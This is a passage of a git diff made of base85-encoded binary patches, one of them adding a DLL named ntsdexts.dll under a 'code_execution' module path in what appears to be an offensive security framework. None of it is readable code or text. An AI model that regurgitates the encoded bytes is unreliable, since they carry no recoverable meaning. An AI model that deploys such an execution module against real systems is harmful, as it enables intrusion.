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

literal 0
HcmV?d00001

diff --git a/data/module_source/code_execution/ntsdexts.dll b/data/module_source/code_execution/ntsdexts.dll
new file mode 100644
index 0000000000000000000000000000000000000000..0432623d0a9fa3eb1f8604e836842afd321214a9
GIT binary patch
literal 85448
zcmeFadtg-6wFf*Q48+JV@iB@I%0UwiA`p$%KtMBO2F}O?A_;;8gpdp*5|VTtA^51l
zNtE$8)jqYYR;sPl)>j`_9=^gu0-~bWij}rnZSAD76}6W~shsckTl<`u383}f`+fg?
z(d5kDd+oK?UVH7e*IIj>q3SDlIdUBi$6)-Lro*uwPySTM-_QSZ5Y59!Z5;0S^$9PJ
zUY`?ud30@KQ$%YEw=N6Ut<dW0T3TA8+LDkKj<sk_Et+pujkcn-AvE6Q$}hA~UwZD$
z!C#%K&9#4%m;PXG8_LN`@0<HIsUJP}V<~@c?)CD#ckY$)yvKrjXKp*nS9e`&mG8Em
z-<Rj?rus(WK6)nAeutys)*+6%hYPChwtbFsv=ayA=R4j-&Bdzro?qcvz|X0fIehT*
zActcJ{_xky0)G~x6--=rAP4-cPzBaY->eVmvTCZ>=Wtv@#3eb74uYZUK`w}v<Jitc
zIT_D#JgajYJ`7cY{%523Sw97{9FDfE#<o)6vq;RUPJbL94Ru6O`re=LhqS$mUyhsg
zqhWUA8|tEUsJqC+1`tfx_xU;VQ{iy*jBitbLObRFCOI7YGcf#Af&a%hDY%!0p#pPv
z49D}|_|5vMAY3>Su1B5lqyliHEg#RUp9+BsHMas#Bk#Z~fg64d+|;aY|NqC&;lL$N
zSn_@x7<<o9tcvj437PAx90*u4yifMatJX8n(q7lx)S$K1K{bS;p)fv0BB2H?+NxDj
zK}4HYgtVoxmilN@Ys>h28{3f1&RaWIcS7EBZ|%JGmd;b1PQTyZ-QDek*pzfucXm4R
z9L49CRnP5o40T*qQc_*L27R^S&NXO);4WU=*w~ntH?*UzZDm_qUY-N+d5)oY%Fj$_
zs8CC5Y+0igX{)Obk)Cj<u0bn`j4O(y$#AqdqK*bfGyWTIJyrkN(Pn>3J(OB?Yf}rR
zWubMT-WNJfeM>abfE^dn8bi%(lb~y?pV9T<rf5y5UaOCI8ydo)NJPv0jMIFv6>VCb
zMxdtpx@IjB5<cZSMmMx+^V=6{^V`7O8@0CjNO%zxa6J$#)U1A$HM6OdS(hF!Jub#t
zrj485aO28_+T`V-Rn>LT#>?lAo<AAu6${P8VqFfr7c5+;+33)rDH08@f=XZ78eUPy
z1xw={-4GRegpg>XurfW7EP7NE=nsX%tzk_DOT*b8053e$vVg3SMlY+2wyv-Nk9u0;
zL>oievgXz$;FkbL>y|W!?EZ~)Ee*{fZN7S9c3D4Ge+y*5G)HsYwE6Wb8U}We-ssm9
zX=|=q715$R37f$u4YOO;)E<gx4WVdVQ*%UXZPDsmSFFJJpk*|)*7Arpe_Z>*`QuuT
z!fDY_*W9dC+A9wkA;Tj)P_q_Q(F%M6=cUbG+FZ8`_@k@ZLJP5opEETP35yGXrCLj?
zX5osoh3cD@Hia54)JTe|jc9e@kk$aX3^ic8TK%TUXlz;11R-x~X@Iy!n_8A>%ODEe
z_RXR85Sg&l;zwqy%lH_W%Vv!X9+r@S<1RXO=m_l#jIC+M^nux73*_~oaO;IYSr?`1
z!RCoI*M+mthdSz3G$}N-7*}zN^w&kSrLE1)tt%swh>P>P2*2aB>7l4bZf1+WR@@L;
zS{G}Mj<Lrj{KaYbC3TUe`s@xin1gVaq~Thy-3EfOy)50{y5u@6KQxsrh{C89uWSsF
z;C4tCC0uB*2LNwsh1iJQi_6&B(!5HukYOc+Ju)ZGJi}PKXPu4B;fO>bw{_tLZDy_F
z0!hA53yohkUh}tyTA~+fHK7%CZH=vAR!8fxK9zM5U=6iIpuE~q+qyL0QQsO1M?#s!
z_hTK}nnQ}&wsNxgZp$=zF>aj595)zrHD)HFM6t|>O$5Ty(g1ZCiD8>TQDtp>;;`|R
zK)BNQj)JCu+E`oLLM^t`XE>pV9Efje1|P&cyb4+XqQ5dkTUc9)-JsPiX^lleniBBL
z{Ex;Xyu@Iv&;Ci%`?>gqVnE=u0gh#qYKy0khdN8!Vsp_xr*di`_gb`ujP?S_v2Yj&
z)JBd#=$l%AYi6x47#uw_I$iWCw>z+fn<#f!=~+M%UfG1@RtlZdhW+2#f?wI#Y4)kT
z1@6f1Qu7>l1-4h3hB`}qE+sA;Zkz<zw<H{DZ;~@d4m0wmCAMM-G|M=x^x|<)J9b&5
zdI=7Y6%Z0iM@wj>MOP#W@od11qOBH1**w;=r<bNUv)*IV1KOIAN*z-S!@aRpAM6Ol
zwBuvrcw^OUKzIfZ#1Kru!NiID2OOk`c*cD}dg_})(0w>Jjx#^O^9AVnEF89dXPs=2
zg_$@%cvhzMl5o;K$E;(_(GqQFZXUg8c5QG`<?KLhpwb&$RO7F#4a}Ok$mgFrXSyY~
z_G4ykjn6-?wq}wxr-ee7w%0xf#iU6`jS6!>D{2#Ze4!<=WdRs6)&QSFk3i%T740-Z
zfrC8O+#uVCZZ7P`qr}Bg9SS$rwJG_lx6g3Pdec_okg2mx6nh(Sf$B7H1u~042oq~*
zZmnwwHC&PJsN^x)8lGBLzq~dKdo|Dka}tyVVMbK8!i=`&F*}6)8-bx<RnA)30=cRc
zgNz_Y&7+|edxYAcjb^O21n9|G?wSU22t+My&0?E13S6zM`K<^+{Gn}0HkKZ?J-Qz=
z=|)UwNeJ2|9E#BaSlJY9q)voc+e~fg3pK+(IBLa;$7q;5et0DD>2HArnl<6dR#@L~
zBJ2rMGerP*Tz=_I%NmIUKl!zw(O%P{$k?Lh4r^)Cbk6pV3(SOQdV_(l_<fejX18Oe
zCd|WHw_*~OSXs!LS|U+;70`l8@bWVdFrw2Ge5O=YhhfJq!KpoSRxM69tOpKL=*8>7
z!K3NOoGO^#=Z*6@t9~?2Tdu$8@amj^7Ziw)yL4KtEl)`eH7M?Lebjc!W<AGB%QF>|
z`r**QS(P*VJ^)-3ia2Is)6T7Hf>k-UbvXpe`VqJ7IQ@&7u{#Iu3+W;C+55xB6ZrBa
z9rnC4@@5aCK~%6G2g)5ArT&5oF3{9W6^4x7vMl~4%OP%UqtL3;?fh{?_2(=2U~B7g
z?gk1+Yq$;O!f_TFC!o?-;PcU3hU-BdXU5Iemyy=ycASTzdyn7Oo_D5yHBJv4?DdTy
z=!R7=-?Yf86-!#1l}~Bu&0wIWc9DN(?d)r;1<v%hC%h;FgR}1XkXA&c3HhdfN|r@}
z7VTe*{?AeTVj$)_ra`YPKZc%ceqd)>$_pFtKeA<N7QXzNXlol>AZ0ak#b9yNL9ubG
z!#~3jwL%UCHXXgGvUID>@6W|o4`B<pHjk^!cjVW=wxUcF9lQUzB1I71=6MbW;sKG!
z=tT$tEUMLK`@O#Z#D^?Ut-?Mf9oRQZ;bgSbhb*02+1vzm8)z6mr={tuu~7P8IjY`T
z*7W*16rfgAQr32%X0=)+yDK-)c>G?di4te=LJi|<GPK%Wj_S;eNG8xJLz43iw~wxj
zglD(5M$^N8#y-HhXMu4ID0{(-xMcIMdiJbJe@%^IU`DPpa<mLaau&ZW`0+MMS>ogM
zlOPG9W+E~KsBz=Q2`oqYOnAr^H;mS#OpclmRsqX1Q*7Zhzb)1VASd8AfX-Fy{2b1z
z`3Zlm8Duk9tzTw`9*@4y;6tV>W~U0u-OJ|p7r>|F7;J4>p6{^j&Zt;6<0(?=oV3+V
zU3gh+1w>VuGw^x9W4fYNkTG95GB~CYO%gv*69&L2#|DFUB#uuy&V}kCITP%57%i=c
zaD;6AL492m6LiWy`3yYD4=kdw(Yhj%M$2=ruGveZ+EV!Q5?dibMU5RA&lIdOOf1!;
z6&H2b0SB$EiRyrG#YGo4jM1iGp(B837$fK5xGQ8@jyWyMTUuAb-(yhV{Gy0;+@OAd
zHEqXVj*0NiiNMp6NM|_K79Br+JSKv$O3O0K=zu!XC9<ZD1+mxCC#I&IAbS|=Uo`Hb
zOIJot5Zy2HYp^|R@f1m2(MsUR&mXOpHY!Ja+9(T$5NE50{#&w28?D-kVK_6iIv%$3
znDJI<b+p7cvFu!!X1KZ<bTj?52FtQtM#ao{h}v?sjz&k=5pvWa%FCZxN2_Bw$}Li&
zzhzAib17<=q-m%xf_}1^9hkr3otS|t#3CUIVYp05KsD>!xKJxPm-hSQ*|8Q{=$BiF
z)c%05jfadB7e&S(AWaGf)Mo{#GwY`$M6o0*bcul|xV4t0M2*lfiIfLhm$kN_2!T-*
zH8|T52uB$sj&8)Uzg(M4@)_#6T(JpssPGG9Xl3Ml@lxnMgyC*4YoS#N5AbU7+u2is
zg`%KOuvkD~EAFmNUf@-hzhb~_Sj)7naNJ47T-b>rUtPV$9*2}+w1p6HuUXYnPkX+m
zu3iD-b5&gjchO4Q(wrUwXj47v6b7s8?+7WBR$0&z!YY#t>EMk-nwGUxhnpBsLX9uh
z*38hRI3p+r5C;uMT3c9i75Aw0a;VRWqY6*Mb+HJ}rKWZT;Fa?9aBEE6+NrWHv^2Xv
z7#Xt$stHB2N|t{Us);R`5t1SOhy~cCnXS>Lr4}LL2Zb`4R%on=rYBI<+5p&0h0Xig
zP#E#iG??<IGRM8+>Z(~n_|;X4RaaLj7J@%&qgeA$<7due%;Tz9t6V7x1j^!t3td_M
zIO?mRU>r3u#7J5i9Ny*-N?f0)nBH=Ei8A1hE{mvJ!#jLU5Y1@zDyf#Ly0-M1vj%0E
z2%eOU7#G;j6T|XY*f=3`{3$t{fGZnoATNx;mWByf0*pApnst-%S=ra`Re&-m3f3SK
z;LIan7_r5Pd!e$iso6#g`>U?O8;z##m!yAI1t#Bu2|BXzsL|DU>NCh{Xc8Qh6JIE@
z9M&t{WCx6|wk53y>?&|;oh=B|sbkWM!%6}8JDQ?%5zs_@Tq=k!6wb&A>8+^`!_Qan
zEYDiP=(U1Z^e7C3Q01ynOH9G*@PBL>WX+XON-cHGaNk;mMyp(n%N7PJEPap}pax-u
z`o;|XO1^2w)-_bYZmL_RSS@_as<8LD7*`k<awS~G6aH(4;lv{`T1Bqyzo_o2AEns3
z9<%hofEwkyvisb+<>_^wjpzs5EXUl|@bXZYqo@sB(-@0_*}~20R^{7G1^=z#Z953`
zDo%><Q_aAJ;8bfu_RK_s9o>v}x?WWh!O7}|`l`BmM6pBO`g(?!vfDUzO{lhhNmgY|
z2yBW$S+B~fRB)K3DC|gMQ`^8sX%8aA<paT?aCRf`twQKz1vJM}OeMRC!()7_r3Qy5
z+hyT0U^R%4K@966p{e*qed|ElY<^WkAdWXcx*d8DKKL;Vr~%&k<*{QXR1=yVk|=YA
z6pLPaB?mUtgd|Wiuu|sdjWskK!*<MD@x|ZL-V|<ap@lo3FX)CHvMi*|fJ_tVTG1K}
z9iIyFa}G9j{qjr?AzQ|4srN2Bb{xN0jy$_@B@459U{7yLYs;z?tueLhaZWY>11=MB
zbOJW}+?1l&01A&9cP8ww7T90*kKfTQ)|egVtU;+Bck@jG=WtBJr{*m9YSf3(ZvXhu
zPWz61*kYg4HTbl`u>^I^fT(u_@wWw*pZ!zih@nTF<N>g5uCzA*ex;*ES~4`Soph}L
zd>iaZj$_YY20n4jYSgu2oRA}e|6otZr{zKw57Yo!EAhJm7&xDS*r6|hm(-9qG-+x<
z&kB6D4~Q$#cM0m}0;);qTOxRl<wpo`F~>5;EIh9R26D#XP;`c11rOwSE$EpG++neb
